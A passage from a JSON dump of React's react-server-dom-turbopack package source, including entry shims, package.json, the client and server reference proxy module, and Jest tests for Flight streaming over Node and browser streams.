    "content": "'use strict';\n\nvar s;\nif (process.env.NODE_ENV === 'production') {\n  s = require('./cjs/react-server-dom-turbopack-server.node.production.js');\n} else {\n  s = require('./cjs/react-server-dom-turbopack-server.node.development.js');\n}\n\nexports.renderToReadableStream = s.renderToReadableStream;\nexports.renderToPipeableStream = s.renderToPipeableStream;\nexports.decodeReply = s.decodeReply;\nexports.decodeReplyFromBusboy = s.decodeReplyFromBusboy;\nexports.decodeReplyFromAsyncIterable = s.decodeReplyFromAsyncIterable;\nexports.decodeAction = s.decodeAction;\nexports.decodeFormState = s.decodeFormState;\nexports.registerServerReference = s.registerServerReference;\nexports.registerClientReference = s.registerClientReference;\nexports.createClientModuleProxy = s.createClientModuleProxy;\nexports.createTemporaryReferenceSet = s.createTemporaryReferenceSet;\n"
  },
  {
    "path": "packages/react-server-dom-turbopack/npm/static.browser.js",
    "content": "'use strict';\n\nvar s;\nif (process.env.NODE_ENV === 'production') {\n  s = require('./cjs/react-server-dom-turbopack-server.browser.production.js');\n} else {\n  s = require('./cjs/react-server-dom-turbopack-server.browser.development.js');\n}\n\nexports.prerender = s.prerender;\n"
  },
  {
    "path": "packages/react-server-dom-turbopack/npm/static.edge.js",
    "content": "'use strict';\n\nvar s;\nif (process.env.NODE_ENV === 'production') {\n  s = require('./cjs/react-server-dom-turbopack-server.edge.production.js');\n} else {\n  s = require('./cjs/react-server-dom-turbopack-server.edge.development.js');\n}\n\nexports.prerender = s.prerender;\n"
  },
  {
    "path": "packages/react-server-dom-turbopack/npm/static.js",
    "content": "'use strict';\n\nthrow new Error(\n  'The React Server Writer cannot be used outside a react-server environment. ' +\n    'You must configure Node.js using the `--conditions react-server` flag.'\n);\n"
  },
  {
    "path": "packages/react-server-dom-turbopack/npm/static.node.js",
    "content": "'use strict';\n\nvar s;\nif (process.env.NODE_ENV === 'production') {\n  s = require('./cjs/react-server-dom-turbopack-server.node.production.js');\n} else {\n  s = require('./cjs/react-server-dom-turbopack-server.node.development.js');\n}\n\nexports.prerender = s.prerender;\nexports.prerenderToNodeStream = s.prerenderToNodeStream;\n"
  },
  {
    "path": "packages/react-server-dom-turbopack/package.json",
    "content": "{\n  \"name\": \"react-server-dom-turbopack\",\n  \"description\": \"React Server Components bindings for DOM using Turbopack. This is intended to be integrated into meta-frameworks. It is not intended to be imported directly.\",\n  \"version\": \"19.3.0\",\n  \"keywords\": [\n    \"react\"\n  ],\n  \"homepage\": \"https://react.dev/\",\n  \"bugs\": \"https://github.com/facebook/react/issues\",\n  \"license\": \"MIT\",\n  \"files\": [\n    \"LICENSE\",\n    \"README.md\",\n    \"index.js\",\n    \"client.js\",\n    \"client.browser.js\",\n    \"client.edge.js\",\n    \"client.node.js\",\n    \"server.js\",\n    \"server.browser.js\",\n    \"server.edge.js\",\n    \"server.node.js\",\n    \"static.js\",\n    \"static.browser.js\",\n    \"static.edge.js\",\n    \"static.node.js\",\n    \"cjs/\"\n  ],\n  \"exports\": {\n    \".\": \"./index.js\",\n    \"./client\": {\n      \"workerd\": \"./client.edge.js\",\n      \"deno\": \"./client.edge.js\",\n      \"worker\": \"./client.edge.js\",\n      \"node\": \"./client.node.js\",\n      \"edge-light\": \"./client.edge.js\",\n      \"browser\": \"./client.browser.js\",\n      \"default\": \"./client.browser.js\"\n    },\n    \"./client.browser\": \"./client.browser.js\",\n    \"./client.edge\": \"./client.edge.js\",\n    \"./client.node\": \"./client.node.js\",\n    \"./server\": {\n      \"react-server\": {\n        \"workerd\": \"./server.edge.js\",\n        \"deno\": \"./server.browser.js\",\n        \"node\": \"./server.node.js\",\n        \"edge-light\": \"./server.edge.js\",\n        \"browser\": \"./server.browser.js\"\n      },\n      \"default\": \"./server.js\"\n    },\n    \"./server.browser\": \"./server.browser.js\",\n    \"./server.edge\": \"./server.edge.js\",\n    \"./server.node\": \"./server.node.js\",\n    \"./static\": {\n      \"react-server\": {\n        \"workerd\": \"./static.edge.js\",\n        \"deno\": \"./static.browser.js\",\n        \"node\": \"./static.node.js\",\n        \"edge-light\": \"./static.edge.js\",\n        \"browser\": \"./static.browser.js\"\n      },\n      \"default\": \"./static.js\"\n    },\n    \"./static.browser\": \"./static.browser.js\",\n    \"./static.edge\": \"./static.edge.js\",\n    \"./static.node\": \"./static.node.js\",\n    \"./src/*\": \"./src/*.js\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"main\": \"index.js\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"https://github.com/facebook/react.git\",\n    \"directory\": \"packages/react-server-dom-turbopack\"\n  },\n  \"engines\": {\n    \"node\": \">=0.10.0\"\n  },\n  \"peerDependencies\": {\n    \"react\": \"^19.3.0\",\n    \"react-dom\": \"^19.3.0\"\n  },\n  \"dependencies\": {\n    \"acorn-loose\": \"^8.3.0\",\n    \"neo-async\": \"^2.6.1\"\n  }\n}\n"
  },
  {
    "path": "packages/react-server-dom-turbopack/server.browser.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {\n  renderToReadableStream,\n  decodeReply,\n  decodeAction,\n  decodeFormState,\n  registerServerReference,\n  registerClientReference,\n  createClientModuleProxy,\n  createTemporaryReferenceSet,\n} from './src/server/react-flight-dom-server.browser';\n"
  },
  {
    "path": "packages/react-server-dom-turbopack/server.edge.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {\n  renderToReadableStream,\n  decodeReply,\n  decodeReplyFromAsyncIterable,\n  decodeAction,\n  decodeFormState,\n  registerServerReference,\n  registerClientReference,\n  createClientModuleProxy,\n  createTemporaryReferenceSet,\n} from './src/server/react-flight-dom-server.edge';\n"
  },
  {
    "path": "packages/react-server-dom-turbopack/server.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nthrow new Error(\n  'The React Server cannot be used outside a react-server environment. ' +\n    'You must configure Node.js using the `--conditions react-server` flag.',\n);\n"
  },
  {
    "path": "packages/react-server-dom-turbopack/server.node.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {\n  renderToPipeableStream,\n  renderToReadableStream,\n  decodeReply,\n  decodeReplyFromBusboy,\n  decodeReplyFromAsyncIterable,\n  decodeAction,\n  decodeFormState,\n  registerServerReference,\n  registerClientReference,\n  createClientModuleProxy,\n  createTemporaryReferenceSet,\n} from './src/server/react-flight-dom-server.node';\n"
  },
  {
    "path": "packages/react-server-dom-turbopack/src/ReactFlightTurbopackReferences.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactClientValue} from 'react-server/src/ReactFlightServer';\n\nexport type ServerReference<T: Function> = T & {\n  $$typeof: symbol,\n  $$id: string,\n  $$bound: null | Array<ReactClientValue>,\n  $$location?: Error,\n};\n\n// eslint-disable-next-line no-unused-vars\nexport type ClientReference<T> = {\n  $$typeof: symbol,\n  $$id: string,\n  $$async: boolean,\n};\n\nconst CLIENT_REFERENCE_TAG = Symbol.for('react.client.reference');\nconst SERVER_REFERENCE_TAG = Symbol.for('react.server.reference');\n\nexport function isClientReference(reference: Object): boolean {\n  return reference.$$typeof === CLIENT_REFERENCE_TAG;\n}\n\nexport function isServerReference(reference: Object): boolean {\n  return reference.$$typeof === SERVER_REFERENCE_TAG;\n}\n\nexport function registerClientReference<T>(\n  proxyImplementation: any,\n  id: string,\n  exportName: string,\n): ClientReference<T> {\n  return registerClientReferenceImpl(\n    proxyImplementation,\n    id + '#' + exportName,\n    false,\n  );\n}\n\nfunction registerClientReferenceImpl<T>(\n  proxyImplementation: any,\n  id: string,\n  async: boolean,\n): ClientReference<T> {\n  return Object.defineProperties(proxyImplementation, {\n    $$typeof: {value: CLIENT_REFERENCE_TAG},\n    $$id: {value: id},\n    $$async: {value: async},\n  });\n}\n\n// $FlowFixMe[method-unbinding]\nconst FunctionBind = Function.prototype.bind;\n// $FlowFixMe[method-unbinding]\nconst ArraySlice = Array.prototype.slice;\nfunction bind(this: ServerReference<any>): any {\n  // $FlowFixMe[incompatible-call]\n  const newFn = FunctionBind.apply(this, arguments);\n  if (this.$$typeof === SERVER_REFERENCE_TAG) {\n    if (__DEV__) {\n      const thisBind = arguments[0];\n      if (thisBind != null) {\n        console.error(\n          'Cannot bind \"this\" of a Server Action. Pass null or undefined as the first argument to .bind().',\n        );\n      }\n    }\n    const args = ArraySlice.call(arguments, 1);\n    const $$typeof = {value: SERVER_REFERENCE_TAG};\n    const $$id = {value: this.$$id};\n    const $$bound = {value: this.$$bound ? this.$$bound.concat(args) : args};\n    return Object.defineProperties(\n      (newFn: any),\n      (__DEV__\n        ? {\n            $$typeof,\n            $$id,\n            $$bound,\n            $$location: {\n              value: this.$$location,\n              configurable: true,\n            },\n            bind: {value: bind, configurable: true},\n          }\n        : {\n            $$typeof,\n            $$id,\n            $$bound,\n            bind: {value: bind, configurable: true},\n          }) as PropertyDescriptorMap,\n    );\n  }\n  return newFn;\n}\n\nconst serverReferenceToString = {\n  value: () => 'function () { [omitted code] }',\n  configurable: true,\n  writable: true,\n};\n\nexport function registerServerReference<T: Function>(\n  reference: T,\n  id: string,\n  exportName: null | string,\n): ServerReference<T> {\n  const $$typeof = {value: SERVER_REFERENCE_TAG};\n  const $$id = {\n    value: exportName === null ? id : id + '#' + exportName,\n    configurable: true,\n  };\n  const $$bound = {value: null, configurable: true};\n  return Object.defineProperties(\n    (reference: any),\n    (__DEV__\n      ? {\n          $$typeof,\n          $$id,\n          $$bound,\n          $$location: {\n            value: Error('react-stack-top-frame'),\n            configurable: true,\n          },\n          bind: {value: bind, configurable: true},\n          toString: serverReferenceToString,\n        }\n      : {\n          $$typeof,\n          $$id,\n          $$bound,\n          bind: {value: bind, configurable: true},\n          toString: serverReferenceToString,\n        }) as PropertyDescriptorMap,\n  );\n}\n\nconst PROMISE_PROTOTYPE = Promise.prototype;\n\nconst deepProxyHandlers: Proxy$traps<mixed> = {\n  get: function (\n    target: Function,\n    name: string | symbol,\n    receiver: Proxy<Function>,\n  ) {\n    switch (name) {\n      // These names are read by the Flight runtime if you end up using the exports object.\n      case '$$typeof':\n        // These names are a little too common. We should probably have a way to\n        // have the Flight runtime extract the inner target instead.\n        return target.$$typeof;\n      case '$$id':\n        return target.$$id;\n      case '$$async':\n        return target.$$async;\n      case 'name':\n        return target.name;\n      case 'displayName':\n        return undefined;\n      // We need to special case this because createElement reads it if we pass this\n      // reference.\n      case 'defaultProps':\n        return undefined;\n      // React looks for debugInfo on thenables.\n      case '_debugInfo':\n        return undefined;\n      // Avoid this attempting to be serialized.\n      case 'toJSON':\n        return undefined;\n      case Symbol.toPrimitive:\n        // $FlowFixMe[prop-missing]\n        return Object.prototype[Symbol.toPrimitive];\n      case Symbol.toStringTag:\n        // $FlowFixMe[prop-missing]\n        return Object.prototype[Symbol.toStringTag];\n      case 'Provider':\n        // Context.Provider === Context in React, so return the same reference.\n        // This allows server components to render <ClientContext.Provider>\n        // which will be serialized and executed on the client.\n        return receiver;\n      case 'then':\n        throw new Error(\n          `Cannot await or return from a thenable. ` +\n            `You cannot await a client module from a server component.`,\n        );\n    }\n    // eslint-disable-next-line react-internal/safe-string-coercion\n    const expression = String(target.name) + '.' + String(name);\n    throw new Error(\n      `Cannot access ${expression} on the server. ` +\n        'You cannot dot into a client module from a server component. ' +\n        'You can only pass the imported name through.',\n    );\n  },\n  set: function () {\n    throw new Error('Cannot assign to a client module from a server module.');\n  },\n};\n\nfunction getReference(target: Function, name: string | symbol): $FlowFixMe {\n  switch (name) {\n    // These names are read by the Flight runtime if you end up using the exports object.\n    case '$$typeof':\n      return target.$$typeof;\n    case '$$id':\n      return target.$$id;\n    case '$$async':\n      return target.$$async;\n    case 'name':\n      return target.name;\n    // We need to special case this because createElement reads it if we pass this\n    // reference.\n    case 'defaultProps':\n      return undefined;\n    // React looks for debugInfo on thenables.\n    case '_debugInfo':\n      return undefined;\n    // Avoid this attempting to be serialized.\n    case 'toJSON':\n      return undefined;\n    case Symbol.toPrimitive:\n      // $FlowFixMe[prop-missing]\n      return Object.prototype[Symbol.toPrimitive];\n    case Symbol.toStringTag:\n      // $FlowFixMe[prop-missing]\n      return Object.prototype[Symbol.toStringTag];\n    case '__esModule':\n      // Something is conditionally checking which export to use. We'll pretend to be\n      // an ESM compat module but then we'll check again on the client.\n      const moduleId = target.$$id;\n      target.default = registerClientReferenceImpl(\n        (function () {\n          throw new Error(\n            `Attempted to call the default export of ${moduleId} from the server ` +\n              `but it's on the client. It's not possible to invoke a client function from ` +\n              `the server, it can only be rendered as a Component or passed to props of a ` +\n              `Client Component.`,\n          );\n        }: any),\n        target.$$id + '#',\n        target.$$async,\n      );\n      return true;\n    case 'then':\n      if (target.then) {\n        // Use a cached value\n        return target.then;\n      }\n      if (!target.$$async) {\n        // If this module is expected to return a Promise (such as an AsyncModule) then\n        // we should resolve that with a client reference that unwraps the Promise on\n        // the client.\n\n        const clientReference: ClientReference<any> =\n          registerClientReferenceImpl(({}: any), target.$$id, true);\n        const proxy = new Proxy(clientReference, proxyHandlers);\n\n        // Treat this as a resolved Promise for React's use()\n        target.status = 'fulfilled';\n        target.value = proxy;\n\n        const then = (target.then = registerClientReferenceImpl(\n          (function then(resolve, reject: any) {\n            // Expose to React.\n            return Promise.resolve(resolve(proxy));\n          }: any),\n          // If this is not used as a Promise but is treated as a reference to a `.then`\n          // export then we should treat it as a reference to that name.\n          target.$$id + '#then',\n          false,\n        ));\n        return then;\n      } else {\n        // Since typeof .then === 'function' is a feature test we'd continue recursing\n        // indefinitely if we return a function. Instead, we return an object reference\n        // if we check further.\n        return undefined;\n      }\n  }\n  if (typeof name === 'symbol') {\n    throw new Error(\n      'Cannot read Symbol exports. Only named exports are supported on a client module ' +\n        'imported on the server.',\n    );\n  }\n  let cachedReference = target[name];\n  if (!cachedReference) {\n    const reference: ClientReference<any> = registerClientReferenceImpl(\n      (function () {\n        throw new Error(\n          // eslint-disable-next-line react-internal/safe-string-coercion\n          `Attempted to call ${String(name)}() from the server but ${String(\n            name,\n          )} is on the client. ` +\n            `It's not possible to invoke a client function from the server, it can ` +\n            `only be rendered as a Component or passed to props of a Client Component.`,\n        );\n      }: any),\n      target.$$id + '#' + name,\n      target.$$async,\n    );\n    Object.defineProperty((reference: any), 'name', {value: name});\n    cachedReference = target[name] = new Proxy(reference, deepProxyHandlers);\n  }\n  return cachedReference;\n}\n\nconst proxyHandlers = {\n  get: function (\n    target: Function,\n    name: string | symbol,\n    receiver: Proxy<Function>,\n  ): $FlowFixMe {\n    return getReference(target, name);\n  },\n  getOwnPropertyDescriptor: function (\n    target: Function,\n    name: string | symbol,\n  ): $FlowFixMe {\n    let descriptor = Object.getOwnPropertyDescriptor(target, name);\n    if (!descriptor) {\n      descriptor = {\n        value: getReference(target, name),\n        writable: false,\n        configurable: false,\n        enumerable: false,\n      };\n      Object.defineProperty(target, name, descriptor);\n    }\n    return descriptor;\n  },\n  getPrototypeOf(target: Function): Object {\n    // Pretend to be a Promise in case anyone asks.\n    return PROMISE_PROTOTYPE;\n  },\n  set: function (): empty {\n    throw new Error('Cannot assign to a client module from a server module.');\n  },\n};\n\nexport function createClientModuleProxy<T>(\n  moduleId: string,\n): ClientReference<T> {\n  const clientReference: ClientReference<T> = registerClientReferenceImpl(\n    ({}: any),\n    // Represents the whole Module object instead of a particular import.\n    moduleId,\n    false,\n  );\n  return new Proxy(clientReference, proxyHandlers);\n}\n"
  },
  {
    "path": "packages/react-server-dom-turbopack/src/__tests__/ReactFlightTurbopackDOM-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nimport {patchSetImmediate} from '../../../../scripts/jest/patchSetImmediate';\n\n// Polyfills for test environment\nglobal.ReadableStream =\n  require('web-streams-polyfill/ponyfill/es6').ReadableStream;\nglobal.TextEncoder = require('util').TextEncoder;\nglobal.TextDecoder = require('util').TextDecoder;\n\nlet act;\nlet serverAct;\nlet use;\nlet clientExports;\nlet clientExportsESM;\nlet turbopackMap;\nlet Stream;\nlet React;\nlet ReactDOMClient;\nlet ReactServerDOMServer;\nlet ReactServerDOMClient;\nlet Suspense;\nlet ErrorBoundary;\n\ndescribe('ReactFlightTurbopackDOM', () => {\n  beforeEach(() => {\n    // For this first reset we are going to load the dom-node version of react-server-dom-turbopack/server\n    // This can be thought of as essentially being the React Server Components scope with react-server\n    // condition\n    jest.resetModules();\n\n    patchSetImmediate();\n    serverAct = require('internal-test-utils').serverAct;\n\n    // Simulate the condition resolution\n    jest.mock('react-server-dom-turbopack/server', () =>\n      require('react-server-dom-turbopack/server.node'),\n    );\n    jest.mock('react', () => require('react/react.react-server'));\n\n    const TurbopackMock = require('./utils/TurbopackMock');\n    clientExports = TurbopackMock.clientExports;\n    clientExportsESM = TurbopackMock.clientExportsESM;\n    turbopackMap = TurbopackMock.turbopackMap;\n\n    ReactServerDOMServer = require('react-server-dom-turbopack/server');\n\n    // This reset is to load modules for the SSR/Browser scope.\n    jest.resetModules();\n    __unmockReact();\n    act = require('internal-test-utils').act;\n    Stream = require('stream');\n    React = require('react');\n    use = React.use;\n    Suspense = React.Suspense;\n    ReactDOMClient = require('react-dom/client');\n    ReactServerDOMClient = require('react-server-dom-turbopack/client');\n\n    ErrorBoundary = class extends React.Component {\n      state = {hasError: false, error: null};\n      static getDerivedStateFromError(error) {\n        return {\n          hasError: true,\n          error,\n        };\n      }\n      render() {\n        if (this.state.hasError) {\n          return this.props.fallback(this.state.error);\n        }\n        return this.props.children;\n      }\n    };\n  });\n\n  function getTestStream() {\n    const writable = new Stream.PassThrough();\n    const readable = new ReadableStream({\n      start(controller) {\n        writable.on('data', chunk => {\n          controller.enqueue(chunk);\n        });\n        writable.on('end', () => {\n          controller.close();\n        });\n      },\n    });\n    return {\n      readable,\n      writable,\n    };\n  }\n\n  it('should resolve HTML using Node streams', async () => {\n    function Text({children}) {\n      return <span>{children}</span>;\n    }\n    function HTML() {\n      return (\n        <div>\n          <Text>hello</Text>\n          <Text>world</Text>\n        </div>\n      );\n    }\n\n    function App() {\n      const model = {\n        html: <HTML />,\n      };\n      return model;\n    }\n\n    const {writable, readable} = getTestStream();\n    const {pipe} = await serverAct(() =>\n      ReactServerDOMServer.renderToPipeableStream(<App />, turbopackMap),\n    );\n    pipe(writable);\n    const response = ReactServerDOMClient.createFromReadableStream(readable);\n    const model = await response;\n    expect(model).toEqual({\n      html: (\n        <div>\n          <span>hello</span>\n          <span>world</span>\n        </div>\n      ),\n    });\n  });\n\n  it('should resolve the root', async () => {\n    // Model\n    function Text({children}) {\n      return <span>{children}</span>;\n    }\n    function HTML() {\n      return (\n        <div>\n          <Text>hello</Text>\n          <Text>world</Text>\n        </div>\n      );\n    }\n    function RootModel() {\n      return {\n        html: <HTML />,\n      };\n    }\n\n    // View\n    function Message({response}) {\n      return <section>{use(response).html}</section>;\n    }\n    function App({response}) {\n      return (\n        <Suspense fallback={<h1>Loading...</h1>}>\n          <Message response={response} />\n        </Suspense>\n      );\n    }\n\n    const {writable, readable} = getTestStream();\n    const {pipe} = await serverAct(() =>\n      ReactServerDOMServer.renderToPipeableStream(<RootModel />, turbopackMap),\n    );\n    pipe(writable);\n    const response = ReactServerDOMClient.createFromReadableStream(readable);\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<App response={response} />);\n    });\n    expect(container.innerHTML).toBe(\n      '<section><div><span>hello</span><span>world</span></div></section>',\n    );\n  });\n\n  it('should unwrap async module references', async () => {\n    const AsyncModule = Promise.resolve(function AsyncModule({text}) {\n      return 'Async: ' + text;\n    });\n\n    const AsyncModule2 = Promise.resolve({\n      exportName: 'Module',\n    });\n\n    function Print({response}) {\n      return <p>{use(response)}</p>;\n    }\n\n    function App({response}) {\n      return (\n        <Suspense fallback={<h1>Loading...</h1>}>\n          <Print response={response} />\n        </Suspense>\n      );\n    }\n\n    const AsyncModuleRef = await clientExports(AsyncModule);\n    const AsyncModuleRef2 = await clientExports(AsyncModule2);\n\n    const {writable, readable} = getTestStream();\n    const {pipe} = await serverAct(() =>\n      ReactServerDOMServer.renderToPipeableStream(\n        <AsyncModuleRef text={AsyncModuleRef2.exportName} />,\n        turbopackMap,\n      ),\n    );\n    pipe(writable);\n    const response = ReactServerDOMClient.createFromReadableStream(readable);\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<App response={response} />);\n    });\n    expect(container.innerHTML).toBe('<p>Async: Module</p>');\n  });\n\n  it('should unwrap async ESM module references', async () => {\n    const AsyncModule = Promise.resolve(function AsyncModule({text}) {\n      return 'Async: ' + text;\n    });\n\n    const AsyncModule2 = Promise.resolve({\n      exportName: 'Module',\n    });\n\n    function Print({response}) {\n      return <p>{use(response)}</p>;\n    }\n\n    function App({response}) {\n      return (\n        <Suspense fallback={<h1>Loading...</h1>}>\n          <Print response={response} />\n        </Suspense>\n      );\n    }\n\n    const AsyncModuleRef = await clientExportsESM(AsyncModule);\n    const AsyncModuleRef2 = await clientExportsESM(AsyncModule2);\n\n    const {writable, readable} = getTestStream();\n    const {pipe} = await serverAct(() =>\n      ReactServerDOMServer.renderToPipeableStream(\n        <AsyncModuleRef text={AsyncModuleRef2.exportName} />,\n        turbopackMap,\n      ),\n    );\n    pipe(writable);\n    const response = ReactServerDOMClient.createFromReadableStream(readable);\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<App response={response} />);\n    });\n    expect(container.innerHTML).toBe('<p>Async: Module</p>');\n  });\n\n  it('should error when a bundler uses async ESM modules with createClientModuleProxy', async () => {\n    const AsyncModule = Promise.resolve(function AsyncModule() {\n      return 'This should not be rendered';\n    });\n\n    function Print({response}) {\n      return <p>{use(response)}</p>;\n    }\n\n    function App({response}) {\n      return (\n        <ErrorBoundary\n          fallback={error => (\n            <p>\n              {__DEV__ ? error.message + ' + ' : null}\n              {error.digest}\n            </p>\n          )}>\n          <Suspense fallback={<h1>Loading...</h1>}>\n            <Print response={response} />\n          </Suspense>\n        </ErrorBoundary>\n      );\n    }\n\n    const AsyncModuleRef = await clientExportsESM(AsyncModule, {\n      forceClientModuleProxy: true,\n    });\n\n    const {writable, readable} = getTestStream();\n    const {pipe} = await serverAct(() =>\n      ReactServerDOMServer.renderToPipeableStream(\n        <AsyncModuleRef />,\n        turbopackMap,\n        {\n          onError(error) {\n            return __DEV__ ? 'a dev digest' : `digest(${error.message})`;\n          },\n        },\n      ),\n    );\n    pipe(writable);\n    const response = ReactServerDOMClient.createFromReadableStream(readable);\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<App response={response} />);\n    });\n\n    const errorMessage = `The module \"${Object.keys(turbopackMap).at(0)}\" is marked as an async ESM module but was loaded as a CJS proxy. This is probably a bug in the React Server Components bundler.`;\n\n    expect(container.innerHTML).toBe(\n      __DEV__\n        ? `<p>${errorMessage} + a dev digest</p>`\n        : `<p>digest(${errorMessage})</p>`,\n    );\n  });\n});\n"
  },
  {
    "path": "packages/react-server-dom-turbopack/src/__tests__/ReactFlightTurbopackDOMBrowser-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nimport {patchMessageChannel} from '../../../../scripts/jest/patchMessageChannel';\n\n// Polyfills for test environment\nglobal.ReadableStream =\n  require('web-streams-polyfill/ponyfill/es6').ReadableStream;\nglobal.WritableStream =\n  require('web-streams-polyfill/ponyfill/es6').WritableStream;\nglobal.TextEncoder = require('util').TextEncoder;\nglobal.TextDecoder = require('util').TextDecoder;\n\nlet clientExports;\nlet React;\nlet ReactDOMClient;\nlet ReactServerDOMServer;\nlet ReactServerDOMClient;\nlet ReactServer;\nlet ReactServerScheduler;\nlet act;\nlet serverAct;\nlet turbopackMap;\nlet use;\n\ndescribe('ReactFlightTurbopackDOMBrowser', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    ReactServerScheduler = require('scheduler');\n    patchMessageChannel(ReactServerScheduler);\n    serverAct = require('internal-test-utils').serverAct;\n\n    // Simulate the condition resolution\n    jest.mock('react', () => require('react/react.react-server'));\n    ReactServer = require('react');\n\n    jest.mock('react-server-dom-turbopack/server', () =>\n      require('react-server-dom-turbopack/server.browser'),\n    );\n    const TurbopackMock = require('./utils/TurbopackMock');\n    clientExports = TurbopackMock.clientExports;\n    turbopackMap = TurbopackMock.turbopackMap;\n\n    ReactServerDOMServer = require('react-server-dom-turbopack/server.browser');\n\n    __unmockReact();\n    jest.resetModules();\n\n    ({act} = require('internal-test-utils'));\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    ReactServerDOMClient = require('react-server-dom-turbopack/client');\n    use = React.use;\n  });\n\n  function createDelayedStream(\n    stream: ReadableStream<Uint8Array>,\n  ): ReadableStream<Uint8Array> {\n    return new ReadableStream({\n      async start(controller) {\n        const reader = stream.getReader();\n        while (true) {\n          const {done, value} = await reader.read();\n          if (done) {\n            controller.close();\n          } else {\n            // Artificially delay between enqueuing chunks.\n            await new Promise(resolve => setTimeout(resolve));\n            controller.enqueue(value);\n          }\n        }\n      },\n    });\n  }\n\n  function normalizeCodeLocInfo(str) {\n    return (\n      str &&\n      str.replace(/^ +(?:at|in) ([\\S]+)[^\\n]*/gm, function (m, name) {\n        return '    in ' + name + (/\\d/.test(m) ? ' (at **)' : '');\n      })\n    );\n  }\n\n  it('should resolve HTML using W3C streams', async () => {\n    function Text({children}) {\n      return <span>{children}</span>;\n    }\n    function HTML() {\n      return (\n        <div>\n          <Text>hello</Text>\n          <Text>world</Text>\n        </div>\n      );\n    }\n\n    function App() {\n      const model = {\n        html: <HTML />,\n      };\n      return model;\n    }\n\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(<App />),\n    );\n    const response = ReactServerDOMClient.createFromReadableStream(stream);\n    const model = await response;\n    expect(model).toEqual({\n      html: (\n        <div>\n          <span>hello</span>\n          <span>world</span>\n        </div>\n      ),\n    });\n  });\n\n  it('does not close the response early when using a fast debug channel', async () => {\n    function Component() {\n      return <div>Hi</div>;\n    }\n\n    let debugReadableStreamController;\n\n    const debugReadableStream = new ReadableStream({\n      start(controller) {\n        debugReadableStreamController = controller;\n      },\n    });\n\n    const rscStream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(<Component />, turbopackMap, {\n        debugChannel: {\n          writable: new WritableStream({\n            write(chunk) {\n              debugReadableStreamController.enqueue(chunk);\n            },\n            close() {\n              debugReadableStreamController.close();\n            },\n          }),\n        },\n      }),\n    );\n\n    function ClientRoot({response}) {\n      return use(response);\n    }\n\n    const response = ReactServerDOMClient.createFromReadableStream(\n      // Create a delayed stream to simulate that the RSC stream might be\n      // transported slower than the debug channel, which must not lead to a\n      // `Connection closed` error in the Flight client.\n      createDelayedStream(rscStream),\n      {\n        debugChannel: {readable: debugReadableStream},\n      },\n    );\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(<ClientRoot response={response} />);\n    });\n\n    expect(container.innerHTML).toBe('<div>Hi</div>');\n  });\n\n  it('can transport debug info through a dedicated debug channel', async () => {\n    let ownerStack;\n\n    const ClientComponent = clientExports(() => {\n      ownerStack = React.captureOwnerStack ? React.captureOwnerStack() : null;\n      return <p>Hi</p>;\n    });\n\n    function App() {\n      return ReactServer.createElement(\n        ReactServer.Suspense,\n        null,\n        ReactServer.createElement(ClientComponent, null),\n      );\n    }\n\n    let debugReadableStreamController;\n\n    const debugReadableStream = new ReadableStream({\n      start(controller) {\n        debugReadableStreamController = controller;\n      },\n    });\n\n    const rscStream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(\n        ReactServer.createElement(App, null),\n        turbopackMap,\n        {\n          debugChannel: {\n            writable: new WritableStream({\n              write(chunk) {\n                debugReadableStreamController.enqueue(chunk);\n              },\n              close() {\n                debugReadableStreamController.close();\n              },\n            }),\n          },\n        },\n      ),\n    );\n\n    function ClientRoot({response}) {\n      return use(response);\n    }\n\n    const response = ReactServerDOMClient.createFromReadableStream(rscStream, {\n      replayConsoleLogs: true,\n      debugChannel: {\n        readable: debugReadableStream,\n        // Explicitly not defining a writable side here. Its presence was\n        // previously used as a condition to wait for referenced debug chunks.\n      },\n    });\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(<ClientRoot response={response} />);\n    });\n\n    if (__DEV__) {\n      expect(normalizeCodeLocInfo(ownerStack)).toBe('\\n    in App (at **)');\n    }\n\n    expect(container.innerHTML).toBe('<p>Hi</p>');\n  });\n});\n"
  },
  {
    "path": "packages/react-server-dom-turbopack/src/__tests__/ReactFlightTurbopackDOMEdge-test.js",
